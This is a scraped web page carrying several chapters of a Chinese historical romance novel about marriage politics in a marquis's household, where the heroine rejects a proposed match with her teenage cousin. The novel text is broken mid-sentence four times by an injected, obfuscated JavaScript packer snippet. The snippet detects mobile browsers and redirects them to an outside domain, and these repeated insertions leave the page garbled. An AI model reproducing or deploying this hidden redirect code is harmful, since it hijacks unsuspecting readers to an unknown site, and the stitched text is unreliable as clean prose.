;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405523|184440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了?” 侯爷听出了她的试探之意,茶入口时咳了一下,颇有些手忙脚乱。 他表情有些不自在,“我知道你中意你娘家侄女儿……” 说着小心翼翼道:“芳姐儿不是不好,但逸哥儿是个爱玩的,芳姐儿年纪比逸哥儿小了不少,哪里管得住逸哥儿?我看还是找个年纪长几岁的,性子稳重些,制得住逸哥儿才好。” 侯夫人看起来不太高兴,“侯爷说这话可得小心,咱们家可住着客,‘年长几岁’、‘性子稳重’,不知道的外人听见了,还以为您中意婵姐儿呢。” 侯爷一愣,“婵姐儿?” 他瞧着侯夫人的脸色,“怎地,这里头有什么事?听你的意思不太中意?” “倒也不是什么事,”侯夫人解释,“只是婵姐儿正当嫁,过年走亲的时候,也不止一个人问起是不是要说给逸哥儿。” 她叹了口气,“婵姐儿那姑娘,性情是极好的,只是亏在出身上了,不然能说个极好的人家。” 侯爷倒是顺着她的话琢磨了起来,“其实说给逸哥儿,也不是不行。出身低点就低点,咱们侯府不靠姻亲,同知根知底的亲戚结亲,比同那些虽是高门,但总不安分蹦跶招祸的人家强。” “这哪行!”侯夫人剜了他一眼,“给继子说这样的姑娘当媳妇,外人瞧着像什么样子?怕要背后说我这个继母不上心了!” “再说芳姐儿也是我看着长大的,也是知根知底,哪里比婵姐儿差了?” 庞侯爷噎了一下,讪讪道:“这不是觉得性格不合吗?” 侯夫人不高兴,“还未相处,侯爷便知道性格不合了?” 庞侯爷一噎,他说不过侯夫人,使出了万能招数——推给老夫人,“……回头看老太太怎么说吧。” 说完便站起身来,咳了两声,落荒而逃,“我明天有事,今儿就在外院歇了。” 侯夫人看着侯爷背影走远,收了脸上的表情,慢条斯理地坐回去。 她看了一眼角落等候差遣的丫鬟,勾起唇角。 就像她有办法得知老夫人院里的消息一样,侯夫人这里一点风吹草动,也能传到老太太耳朵里。 若是知道她这么看不中汤家丫头,老太太会很乐意跟她作对的。 24. 第二十四章 花园里的杏花含苞待放时,侯府迎来了一件大喜事,大少爷庞骏要成亲了。 不像庞逸总在内宅混,二房几个儿子都是上进的苗子,整日读书习武,跟亲的堂姐妹们都不太相熟,跟汤婵这个隔了几层的就更是如此。 而且因着二夫人,汤婵故意避嫌,在侯府住了这么久,她并没有见过庞骏几回。 但这完全不耽误汤婵凑热闹。 到了亲迎这日,侯府高朋满座,盛况空前。 人逢喜事精神爽,新郎官庞骏穿着大红喜服,普通周正的长相平添了三份帅气,二夫人容光焕发,拉着高大的儿子不断地瞧。 钱家祖籍江南,家中豪富,不像一般远嫁的姑娘穿着嫁衣上船,钱家在京里置了宅子,母亲兄长都跟着上京,钱家姑娘就从自家宅子出嫁。 朱漆大门前,大红灯笼随风摇摆,随着鞭炮声响起,庞骏骑着高头大马,身后跟着花轿,将新娘迎回了侯府。 拜过堂,新娘被送进洞房。 汤婵与庞家表妹们一同坐在新房,看着庞骏挑开新娘的盖头。 小夫妻对视一眼,庞骏面庞染上红晕,新娘羞涩地低下了头。 新娘画着厚厚的妆面,直到第二天认亲,汤婵才看清楚新娘的长相。 只见她十七八岁年纪,个头不高,身段苗条,细眉细眼,皮肤白皙,说话柔声细语,温婉如水。 果真是江南姑娘。 汤婵觉着有趣,精明强干的二夫人竟给儿子挑了个这样的儿媳,就是不知道她的处事手段是不是同外表一样柔顺。 新晋的大少奶奶钱氏举止恭敬,给长辈磕头敬茶,送上针线,随后给各位叔叔和小姑子送了见面礼,想来是做足了功课,连汤婵也有份。 钱家果真是资产丰厚,汤婵收到了一只水头很不错的玉镯子,庞家几位正经小姑子得的只有更好,少爷们则各自得了一方上好的歙砚,都是价格不菲的好东西。 二夫人脸色露出得意之色,媳妇给自己涨了面子呢。 老夫人也满意颔首,庞骏虽不是亲生血脉,但到底是孙辈第一个媳妇,意义非凡。 她对钱氏柔声道:“你昨日新嫁,定然累得不轻,早些回去歇着吧。” 钱氏恭谨应下,同庞骏和二老爷夫妻告退了。 …… 送走夫君,钱氏放松了有些酸痛的身子,靠在榻上舒了口气。 奶娘王妈妈自幼照顾钱氏,早将钱氏当做女儿疼爱,见钱氏满脸疲色,不由心疼道:“姑娘,要不休息睡一觉吧。” 钱氏却提醒道:“妈妈,该改口了。” 王妈妈反应过来,“是,大少奶奶。” 钱氏笑了笑,刚想说什么,却听外头通报,二夫人来了。 钱氏脸色一变,立刻挺直腰板起身,快步上前迎接二夫人。 “母亲怎么来了?有什么事传人叫媳妇便是,怎么好劳动您亲自跑一趟。” 二夫人听到钱氏的称呼,心里本就高兴,听完后半句,不由更满意了。 她掩嘴笑道:“你是新嫁娘,昨日定然劳累,我这做母亲的,也得替儿子体恤体恤你呀。” 话里不乏打趣之意,直叫钱氏红了面颊,“母亲!” 不过羞赧之余,钱氏初嫁的忐忑之情也去了不少。 虽说待嫁闺中时,钱氏能感觉到未来婆婆对自己的喜爱之情,但她始终担忧真正嫁进婆家后会有所变化。不过如今来看,她着实不必忧心,侯府的各位长辈都很和善,包括刚刚敬茶时的老夫人,看着也很好相处。 二夫人确实对这个新媳妇很满意,走这一趟就是特意来关心一下。 钱氏十分感动,“有劳母亲惦念,媳妇没什么不习惯的。” “那就好。”二夫人笑,“若是有什么想问的,直接来找我便是。” 钱氏点了点头,她像是想到了什么,犹豫的神情一闪而过。 二夫人捕捉到了她神色的变化,“怎么了?” 钱氏有些犹疑地道:“母亲,汤家那位表姐……” 二夫人面露恍然之色。 对于新妇来说,最警惕的人事物之一莫过于寄居在夫君家中各式各样的表姑娘了。 二夫人介绍了汤婵的来历,而后勾起一抹意味深长的笑道:“她跟骏哥儿没什么往来,倒是跟世子比较熟悉呢……” 钱氏微微睁大了眼。 * 二夫人婆媳正讨论的庞逸正赖在老夫人房里,跟老夫人撒娇卖乖。 钱氏认亲之后,其他人都各回各院,只有庞逸留了下来。 老夫人眯着眼睛瞧他,“你这皮猴儿,最近怎地如此乖觉?” 庞逸嬉皮笑脸的,“这不是有事情要求老祖宗嘛?” 他凑到老夫人跟前讨好笑道:“上回跟您说的事儿,您考虑得怎么样了?” 庞逸最近就求了一件事,他的亲事。 老夫人瞪了他一眼,刚想开口,却听庞逸抢先道:“老祖宗您先别骂!我有话要说!” 他挠了挠脸,小声道:“我爹前日找我透风,说我的婚事在即,母亲看中谭家三表妹,让我有个准备……” 老夫人眉头一动。 她想到了前些日子大房递来的消息,“侯爷跟侯夫人谈论起世子的婚事,侯爷不排斥世子娶表姑娘为妻,侯夫人却十分不喜……” 怪不得这段日子,诚勤伯夫人隔三岔五带着谭家芳姐儿来做客……看来老大媳妇儿这是等不得了。 老夫人念头多番转过,片刻后,她看向庞逸,“我问你,你是当真看中了婵姐儿?” 庞逸耳根一红。 他跟表姐性情相投,吃喝玩乐都有话聊,反正总是要比谭家表妹合得来的…… 见他支支吾吾说不出话,老夫人不由想起刚刚这小子见着婵姐儿,也是这副 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405524|184440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德行。 她心中微叹,“好了,我知晓了,我会考虑。” 庞逸一喜,连忙躬身作揖,“谢老祖宗!” “行了行了,就知道作怪。” 老夫人没眼看他,抬手撵人,庞逸笑嘻嘻地告退了。 等庞逸走后,老夫人闭上眼睛,手上摩挲着紫檀手串,心中不断思索考量。 过了一会儿,她对一直候在一旁的任妈妈道:“回头叫惠娘单独来给我请个安。” 任妈妈心中一凛,“是。” 看来表姑娘,还真是要有大造化了…… * 外间,丫鬟春杏拎着茶壶悄悄退下,来到茶水间。 一进门,便看到一个熟人正与老夫人的大丫鬟春草抢活,“姐姐歇着,送茶点这样的小事,哪用姐姐跑一趟,让我来就可以了。” “春桃妹妹客气了,”春草微笑着婉拒,“老夫人指名要我做的事,哪里好劳烦妹妹?” 春草说完便离开了,春桃看着她的背影,恨恨地跺了一脚。 自从春桃回到老夫人院里,一切便变得不对劲了。 早在她去湛露院伺候时,她的位置便被人顶了下去,后来老夫人虽然让她回来,却忘了指派她的位置。 最开始春桃不以为意,只要多在老夫人面前伺候,总能让她找到机会。 然而如今已经快两个月过去,春草春芽几个可恶的大丫鬟,怕自己得了老夫人的好,竟是严防死守,她硬是没能在老夫人眼前出现! 想到这里,春桃愈发急切,若一直是个边缘人,那她回来有什么意义? “呦,这不是春桃姐姐嘛。” 耳边传来一道嘲讽的声音,春桃转头,便看见了自己原先的死对头春杏。 以前二人同为二等丫鬟,素来不合,可如今春杏已经升到一等,春桃却连老夫人的面都见不到。 她脸色阴沉沉地吐出几个字,“小人得志!” 春杏毫不在意,春桃这个自以为是的蠢货,被人收拾了还毫无所觉呢! “你还不知道吧?”春杏幸灾乐祸,“你瞧不上的那位表姑娘,就要嫁给世子爷做夫人了!” 春桃脸色骤变,不可置信,“你说什么?” 春杏掩唇轻笑,“也是,你一个进不了屋伺候的,当然不知道了。” 春桃死死咬着牙,“不可能,我不信!” “信不信随你。” 春杏凑近春桃,声音似毒蛇一般,“你是不是很疑惑,怎么千辛万苦好不容易回来了,老夫人却不用你?” “你以为是我们这些‘小人’忌惮你、排挤你,我好心告诉你,大错特错!” “你该在表姑娘身边伺候,却整日往老夫人院里跑。这样不守本分、不敬主子的奴才,老夫人又怎么会接着重用你!” 看着春桃一脸惨白的模样,春杏哼了一声,心满意足地走了。 25. 第二十五章 “什么?” 汤婵差点把刚入口的茶喷出来,“让我嫁表弟?” “是,”汤母也是有些懵的,“今日老夫人找我说话,问我觉得逸哥儿怎么样……” 她本来还未反应过来,只是单纯以长辈的身份将庞逸一通夸赞——嘴甜、孝顺、会来事儿、长得也俊的少年人,谁能不喜爱呢? 老夫人听着更满意了,向汤母透了口风,说很是看好婵姐儿。 汤母听了这话,简直以为自己犹在梦中,完全不敢相信。 来京之前,她是做梦都不敢想让女儿嫁给逸哥儿的,那可是未来的庆祥侯! 若是汤父还在,兴许还有一点极小的可能,可汤父已经去了,光靠着那一点血缘关系,怎么可能高攀得上? 没想到老夫人真的看中了婵姐儿! 是了,老夫人看中的是婵姐儿这个人,若是宝蝉…… 饶是汤母,也不得不承认,换了自家宝蝉,怕是入不得老夫人的眼。 想到这儿,汤母欣喜的心情里不由带上了复杂。 “不成不成,绝对不成!” 汤婵却顾不上体会汤母复杂的心情,她的头摇得像拨浪鼓,“这事绝对不行!” 不提血缘关系,庞逸只有十六七岁,才高中生的年纪,汤婵哪里下得去口。 她再没有节操也不搞未成年的啊! 更重要的是,汤婵不想生孩子,可人家家里是真的有爵位要继承。 庞逸一个挺好的小少年,汤婵总不能害人家断了爵位继承吧? 自家事自家知,汤婵如今就是一条只想躺平的咸鱼,找什么正经人都是坑了人家。 汤母哪里知道汤婵的想法,虽然想起宝蝉,汤母心里不免五味杂陈,但与汤婵相处大半年下来,也对这个便宜女儿有了感情,自然也是盼着汤婵好的。 若是能成,这可是再好不过的一门亲。 见汤婵很是反感的模样,汤母不由蹙起眉头,开口劝说道:“我瞧着这门亲事极好。都是亲戚,知根知底,有老夫人照顾着,你也不必怕被欺负。逸哥儿虽说不上进,但活到这个岁数,我也看清了,孩子没本事也没什么,只要平安健康就好。再说,你不还夸过人家性子不错吗?” 汤婵有苦难言,只好各处搜刮理由,“侯夫人竟然也同意?她不是一直想娶侄女儿做儿媳妇吗?” “做媳妇的怎么能跟婆婆争执,”汤母理所当然道,“老夫人看中你,她自然只得听从。” 汤婵试图反驳,“我瞧着侯夫人可不安好心,若是儿媳妇不可心,侯夫人暗中刁难怎么办?” “婆婆给媳妇立规矩本就是应当,你敬着便是了,”汤母理所当然地说,她并不觉得这是什么大事,“再说还有老夫人呢,怎么也不会太过的。” 她还以为汤婵拒绝的原因是想找个样样都好的,不由道:“这世上哪里有那么多四角俱全的好亲事?你若能嫁给逸哥儿,已经是我做梦都不敢想的好亲了……” 汤婵听得头大,也干脆不再隐瞒自己的打算,直言道:“我以后不会生孩子的,还是别害了人家。” “你说什么?”汤母勃然变色,“这个玩笑一点都不好笑!” “我没在开玩笑。” 这事早晚要跟汤母摊牌,汤婵冷静道:“我怕疼,也怕死,生孩子一个不好就要没命,我不想生。” 汤母瞠目结舌,根本无法理解,“你,你这孩子怎么会这么想?世上的女人哪个不是这么过来的?” 汤婵说:“我不是她们。” 汤母急得不行,“你不生孩子,哪个好人家会娶你?” 看啊,女人存在的全部意义就是为了生育,汤婵扯扯嘴角,“所以我打算挑个有孩子的鳏夫嫁。” 她叹道:“如果这个鳏夫有钱还不着家,那就更好了。” 其实最完美的是耄耋之年躺在床上命不久矣需要冲喜的老爷子,她一嫁过去就是老祖宗,等老爷子一蹬腿,她就能继承他的遗产,调戏他的婢女,使唤他的子孙,院门一关,想怎么自在就怎么自在。 只不过汤婵知道,这些只能在梦中想想,汤母都不一定能同意鳏夫,更别说给老头子冲喜了。 果然,汤母根本无法接受,一听就炸了,“什么鳏夫,你想都不要想!” “就像您说的,世人都看中香火,”汤婵说,“我只是不想害了人家。” 汤母只觉得事情在脱离掌控,“那你老了怎么办?有了孩子才是依靠,不是你肚子里出来的,怎么会跟你亲近!” “只要手里有钱,还怕儿孙不亲近?”汤婵冷静地近乎冷酷了,“再说,世人也看中礼法,我占着名分大义,怕什么?” 虽然礼法害人不浅,但事情都有两面,只要她有着嫡母名分,一个不孝罪名压下去,谁能不怕? “你……不可理喻!”汤母意识到自己怕是说服不了对方了,她不得不用上这时候父母镇压儿女最常用的办法,甩下一句话,“父母之命,媒妁之言,这门亲容不得你拒绝!” 被“孝道”回旋镖扎中的汤婵:……可恶,礼法果真害人不浅! 对方正在气头上,这样吵下去没有意义,汤婵不再说话,端起茶盏表示送客。 汤母气急,起身拂袖而去。 汤婵沉默地看着茶盏。汤母坚信自己是为了她好,汤婵也相信汤母是好意,可她确实无法接受。 二人爆发了有史以来最激烈的争吵,从前到后,外间的秋月跟双巧听得清清楚楚。 最开始听到老夫人有意求娶自家姑娘时,两个丫鬟是止不住的狂喜——天知道府里下人编排她们姑娘如何倒贴宋家少爷被嫌弃时,两人是怎么样的恼怒。 如今可好了,自家姑娘要成为世子夫人了,能得老夫人看中,证明之前的谣言都是无稽之谈,真是狠狠打了这些胡乱传话之人的脸! 只是二人心中的喜悦不过维持了一瞬,转头便听到自家姑娘竟坚决拒了亲,原因竟然是不想要子嗣,怕耽误了世子爷的爵位传承! 想起上京之前,为姑娘看诊的老大夫曾说起的不易受孕一事,秋月内心又是疑惑,又是担忧。 等汤母愤然而走后,秋月咬唇想了一会儿,片刻后轻手轻脚地进来,给汤婵上了新茶,“……姑娘,您为何要欺骗夫人,说您不愿生育?分明是您的身子……” 汤婵看了她一眼,“我没骗她,我确实不打算生孩子。这年头可没什么又能避子又不伤身的法子,正巧遇上身体不能生育,简直最好不过。只是我若如实说了身体不孕,母亲定要寻医问药,把我治好才算完。” “啊?”秋月懵了,她显然是不能理解,为什么会有女人不愿生孩子,“这……这……” 这怎么能行呢? 女人哪能不要孩子,再说错过世子爷,姑娘怕是再也找不到更好的婚事了! 秋月心中焦急,委婉劝道:“姑娘,夫人也是为了您好……” “秋月,”青花瓷质杯盖与杯身磕碰的清脆声响打断了她,汤婵抬眼,“你的主子是谁?” 秋月愣住,汤婵接着温声道:“你对母亲忠心耿耿,不如我把你送到母亲处伺候吧。” 不知什么时候进来的双巧狠狠拽了一下秋月的袖子,秋月这才反应过来,一个激灵扑通跪下,“奴婢的主子是姑娘!” 汤婵晾了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405525|184440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她好一会儿,见对方额头冒了细汗,才点了点头叫对方起身,“以后哪些话该说,哪些话不该说,你当心里有数。” 秋月抿了抿唇,后怕不已,“是。” 这时,一声通报打破了屋里僵硬的氛围,外头有人拜见。 双巧看着秋月脸色煞白的模样,没让她动,自己小跑出去见了来人。 过了片刻,双巧神情微妙地进来,手上还拿着东西,“姑娘,老夫人院里的春桃来了,说是念当初姑娘照顾的情,绣了帕子荷包送来。” 素来扬着下巴,从未将她看进眼里的春桃热情地拉着她的手,亲热地称呼她“双巧妹妹”,对着她夸了又夸…… 双巧抖了抖身上的鸡皮疙瘩,“这是听说了老夫人的心思,悔不当初,忙不迭来献殷勤了吧。” ——春桃何止是后悔,她简直悔青了肠子。 她们这样的人家,夫人奶奶抬举身边丫鬟做通房是常态,若是她还待在表姑娘身边,待表姑娘给世子安排通房,第一个轮到的可不就是她春桃! 更别说她是老夫人的人,做个姨娘也是手到擒来的事,大姑娘的生母不就是这样从丫鬟成了主子? 只不过命不好,早早去了,没能享受几年荣华富贵。 表姑娘小门小户出身,又能有什么见识,长相更是远不如自己,到时候后院谁说的算还不一定呢! 只要能哄得表姑娘回心转意,一切就还来得及。 只是春桃在这里发大梦,却没问过汤婵愿不愿意。 “她这脸皮,我都要甘拜下风,”汤婵颇有些刻薄地感慨了一句,“若是人能聪明一些,何愁不成大事。” 秋月被这事打断,从刚刚的惶恐中恢复,闻得汤婵这话忍不住抿唇一笑。 双巧举了举手上的东西,“这些玩意,姑娘打算怎么处理?” 春桃也是下了血本,不管帕子还是荷包都用了上好的绸缎,绣着金银丝线,其中荷包还缀着珍珠,上头的花卉刺绣更是精致。 秋月的表情显然是想把脏东西烧了,汤婵却不愿如此浪费,“秋月下回出府,找个绣铺卖了吧。” 二人没想到汤婵还能这样“物尽其用”,双巧露出佩服的表情,秋月:“……是。” * 福禧堂,老夫人正将自己的决定告知庞侯爷夫妻。 “骏哥儿娶了媳妇儿,接下来便是逸哥儿了。” 老夫人呷了口茶,“你们觉着,婵姐儿怎么样?” 侯夫人被留下时心中就有预感,此时闻得老夫人的话,内心大喜。 果然一切皆如她所预料。 然而她面上却是焦急出口反对,“不成!” 待老夫人与庞侯爷的目光都看过来,侯夫人这才像是察觉了自己的态度不敬,强笑了一下解释道:“媳妇的意思是,婵姐儿的出身……怕是不相配。” 老夫人并未发觉异样,只觉得侯夫人的反应在她意料之中。 “光论出身,确是不相配。”她并未反驳侯夫人的话,但随即话锋一转,“不过婵姐儿毕竟是自家亲戚,知根知底。再来,我瞧上了婵姐儿的性情。” 老夫人看向庞侯爷,“老大,你怎么说?” 庞侯爷夹在老娘和媳妇儿中间,内心叫苦,支支吾吾了一会儿,还是只能对不起媳妇儿,“我都听娘的。” 老夫人这才满意地点了点头,吩咐道:“先挑个吉日给两个孩子合一合八字,随后议亲之事便可以准备起来了。” 庞侯爷讪笑应下,余光小心看向侯夫人。 孝字当头,当家的夫君也发了话,侯夫人看上去也只好收起自己的不甘之情,恭谨应下。 26. 第二十六章 又是一年三月三,天气晴好,春暖花开。 姑娘们换下冬装,穿上春服,约着要好的手帕交外出踏青,城郊人流如织,远远便能听到莺声笑语不断。 庆祥侯府的姑娘也没有错过这个机会,城郊近溪的一片空旷草地,四周被布障围起,隔绝了外头的视线,下人支起桌椅,姑娘们围坐在一起,品茶吃点心。 大少奶奶招呼婆子端上来一屉青绿色的团子点心,庞盈看清后十分惊喜,“竟有艾团!” 青团是南方点心,在北方十分少见,大少奶奶笑道:“是,我长在江南,踏青不用青团,总觉得少了点什么。” 庞盈自是不会客气,道过谢后就取了一个送进嘴里,随即露出幸福的表情。 大少奶奶见状一笑,随即也取了一个,但她却没有自己用,而是转过头递给了汤婵。 她笑着对汤婵道:“我听闻表姐也在杭州府长大,表姐也快尝尝,看看合不合你的口味。” 汤婵微微一愣。 除了之前认亲那日,她没怎么跟大少奶奶说过话,没想到大少奶奶会主动跟她亲近。 不过随即她就想明白了缘由,不由无奈。 老夫人想将她嫁给庞逸,事情未定,府里没有宣扬,但这件事不会瞒着侯夫人,也瞒不过二夫人这样消息灵通的主。 二夫人知道,也就代表大少奶奶知道,这是把她当成未来妯娌来相处了。 汤婵心中郁闷,但面上没有失礼,笑着道谢,接过咬了一口。 糯韧绵软的外皮裹了豆沙枣泥,甘甜细腻,清香可口。 汤婵对大少奶奶一通夸赞,一边啃,一边在心里琢磨。 跟庞逸的婚事,她肯定是不接受的,得想个法子拒了。 但做主的汤母跟老夫人里头,汤母坚信汤婵一个小辈,最终还是要听长辈安排,拒绝同汤婵交流;老夫人就更不必说,她定然没想过汤婵本人会不愿意。 汤婵甚至怀疑老夫人是志在必得,哪怕汤母被自己说服,拒绝这桩婚事也没用,除非她们彻底撕破脸皮,得罪侯府。 这么做显然不明智,思来想去,汤婵觉得还是得从另一个当事人入手。 “坐在布障里,什么景色也瞧不见,”庞盈小声嘟囔,“这哪里是踏春呀,连看都看不着。” 大少奶奶想了想,提议道:“不若叫丫鬟婆子跟着,你们戴好帷帽,也出去走一走。” 庞盈自然赞同,其他人也没有反对。 待禀过侯夫人,姑娘们收拾好自己准备出发,庞盈邀请汤婵,“表姐同我们一起吧。” “你们先去吧,”汤婵笑着婉拒,“我坐一会儿再走。” 庞盈也没强求,等姑娘们都走了,汤婵戴上帷帽,带着秋月,往人少的地方走去。 刚在溪边一棵柳树下站定,身后便传来一道耳熟的声音,“表姐。” 汤婵转过头,“表弟。” 少年头戴玉冠,一身明亮蓝衫,红着耳根递过来一个盒子,“送给表姐的。” 汤婵打开盒子一瞧,里头是只金累丝点翠凤钗,很是精美,一看便价值不菲。 三月三又称上巳节,在理学盛行之前,男女会在这天于水边相会,算是最古老的情人节。 这样的日子里,庞逸送来一只常作为定情信物的金钗,意义不言自明。 庞逸难得的不好意思,连看都不敢看汤婵一眼。 少男怀春,寤寐思服,庞逸脑中进展飞快,都想到以后孩子的名字了,却听对方轻轻叹了一口气,自语了句什么。 “啊?”庞逸回过神来,“表姐说什么?” “没事,”汤婵摇摇头,将盒子推了回去,“这个我不能收。” 庞逸一慌,还以为自己做错了什么,他着急地看向汤婵,“这……为何不能收?” 啧,你要是再大个三四岁…… 汤婵将自己心底那点儿不健康的想法丢出去,她正色道:“我接下来说的话,表弟能保证不说出去吗?” 庞逸被她严肃的语气搞得紧张起来,他下意识挺了挺脊背,郑重应道:“表姐说吧,我保证绝不外传。” 汤婵便扔下一个大雷,“我不能嫁你,因为我不想,也不能生育。” “啊?”庞逸傻了半晌,才消化完汤婵话里的意思,“这……” 他纠结半晌,憋出一句,“表姐身体没事吧?” 汤婵不由乐了,这小子还真是个小甜豆,“没什么大事,正合了我的心意。” “这怎么能是小事……”庞逸看着汤婵不以为意的样子,眉毛皱着,欲言又止。 汤婵看出他想劝些什么,无外乎一些老生常谈,便先开口道:“每个人有每个人的选择,与常人不同未必就是错的。” 庞逸张了张口,联想到自己,不说话了。 “总之,我不愿因为子嗣一事耽误你,”汤婵道,“咱们得想个法子,不能让这婚事成了。” 庞逸有些为难,他确实从没想过自己会没有子嗣。 他想了想,小声说道:“倒也可以过继……” “你要是这么做,你那继母可要乐死了。” 汤婵睨他一眼,打断了他的话,“你可还有个嫡出的亲弟弟呢,老夫人和侯爷是更愿意把爵位传给一个过继来的孩子,还是传给亲生血脉?就算是养在嫡母名下的庶子,都有争不过嫡叔叔的风险,到时候你再后悔也晚了。” 她放缓语气,“扪心自问,你是真的喜欢我吗?有喜欢我到非我不娶,愿意放弃爵位的地步吗?” 换做她自己,一个亿跟一个男人叫她选,她当然要选一个亿啊,更别说这爵位可远远不止。 庞逸被训得说不出话。 最初说出要娶表姐的话时,他只是热血上头,想到表姐性格与他相合,不催着他上进,还夸他有能耐,觉得娶表姐做妻子再好不过,老祖宗再问,他都是觉得表姐特别合适。 可要说喜欢……庞逸挠头,他对表姐,是男女之间那种刻骨铭心的喜爱吗?他愿意为了表姐,放弃爵位与子嗣吗? 想了半天,庞逸逐渐颓丧起来,又是羞愧又是窘迫地低下了头。 他确实没有办法干脆地放弃。 “是我对不住表姐,”庞逸看上去内疚得快哭了,“给表姐添麻烦了……” 汤婵见状非但不怪罪,反而松了口气。 她柔声道:“我很感谢你的心意,只是你以后会遇到更适合你的人。” 庞逸顾不上抱歉了,他红了脸,结结巴巴道:“不……不客气,谢谢表姐。” 汤婵一笑,“所以咱们现在要想想,怎么才能打消老祖宗的念头?” 庞逸被她一问,也思考起来。 但他越想越是为难。 表姐身体情况需要保密,他不能对老夫人据实以告;也不能编造说是表姐看不上自己,以免老夫人觉得表姐不识好歹。 可若说自己突然改了主意,不再想娶表姐了,老祖宗改不改念头不知道,他的腿怕是要先被打断…… 都是他冲动求娶才惹来的事情……庞逸又有点想哭了,“表姐,你有什么好主意吗?” 汤婵沉吟片刻。 “你的舅家,会管你的亲事吗?” * 解府。 解瑨和许茹娘正在用膳。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405526|184440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 屋中十分安静,只偶尔听到箸碗碰撞之声。 许茹娘脸上含笑,一边伺候着解瑨用膳,一边柔声说道:“后日是天赐生辰,他刚受了一场无妄之灾,打算好生庆祝一下,去去晦气。夫君后日正好休沐,不如就同妾身一起回许家吧?” 解瑨神情淡淡,“我后日还有公务,就不去了。” 许茹娘笑意一滞。 她心里有些着急。 一个多月前,弟弟被锦衣卫不分青红皂白地抓进牢里,幸而夫君出面,弟弟很快就被放了出来。 弟弟在牢里受了些伤,伤好后,弟弟本想上门与夫君道谢,却被夫君拒绝。 许茹娘知道,夫君怕是对弟弟生了芥蒂。 都是她的至亲,许茹娘怎么忍心眼睁睁看着两家疏远,她本想借着弟弟生辰办宴这个机会,让二人关系和解,却没想到夫君不能前去。 她还想再说些什么,却突然听外头来报,许茹娘的父亲、礼部郎中许正儒上门来访。 解瑨动作一顿,眉头微不可察地皱了皱。 许茹娘倒很是惊喜,“父亲来了?” 她把其他的话都先咽了下去,对解瑨道:“父亲亲自上门,定是有什么要事,夫君快去拜见父亲吧。” …… 解瑨进门,垂首朝主座的中年男人行礼,“见过岳父。” “总算是见到解大人了,”许正儒开口却是阴阳怪气的嘲讽,“我哪里当得起你一声‘岳父’?” 他几次叫解瑨上门议事,都被解瑨找各种理由推拒,不得不亲自上门找人,许正儒已经攒了一肚子不满,“想要见你,还得我亲自走一趟,你眼里还有我这个岳父吗?” 简直是目无尊长,岂有此理! 解瑨被这样指控,却依旧神色不变,只平静道:“岳父严重了。” 许正儒被他这样的神态气得一噎,刚要斥些什么,解瑨却看了许正儒一眼,先开口道:“岳父有事要说?” 听他问起,许正儒也只好咽下怒气,说起正事,“我之前同你说的上书请立大殿下为太子一事,你考虑得如何了?” 解瑨心中有所预料,他抬起眼道:“我已经说过几次,岳父不该妄议立储,这不是我等可以参与的事。” “什么叫妄议?”许正儒十分不满,“食君之禄,忠君之事,立储乃是国之大事,我等身为臣子,自然要为皇上分忧!” 解瑨只是摇了摇头,“皇上春秋鼎盛,还不到立储的时候。” 大皇子与雄安侯府近来行事愈发张扬,俨然已经将储位视为囊中之物,解瑨却对此持保留态度。 皇上可还从未表态。 ——卧榻之侧,岂容他人酣睡? 许正儒却不觉得如此,若不是皇上默许,大皇子等人又如何会这般行事? 更何况储君不定,社稷不稳,他这是在行臣子本分! “怎么能说不到时候?”许正儒苦口婆心,“立定储君,稳定国本,人心才能有所归依。中宫无子,无嫡则立长,如今大殿下已经有了嫡子,后继有人,是最好不过的人选。” 说到后来,他语气隐隐带了质问,“这时还不立储,是要等到诸皇子长成后互相厮杀不成?” 后头的话可不该说,解瑨皱起眉头,“岳父慎言!” 他神色冷漠,气势摄人,许正儒一时被镇住,竟没能说出话来。 发觉自己在一个小辈面前丢了颜面,许正儒回过神后,不由涨红了脸,“你在同谁说话!” 解瑨一顿,垂下眼帘,“小婿失礼。” 他语气淡淡,“岳父不必再说,我不会上折的,您请回吧。” 27. 第二十七章 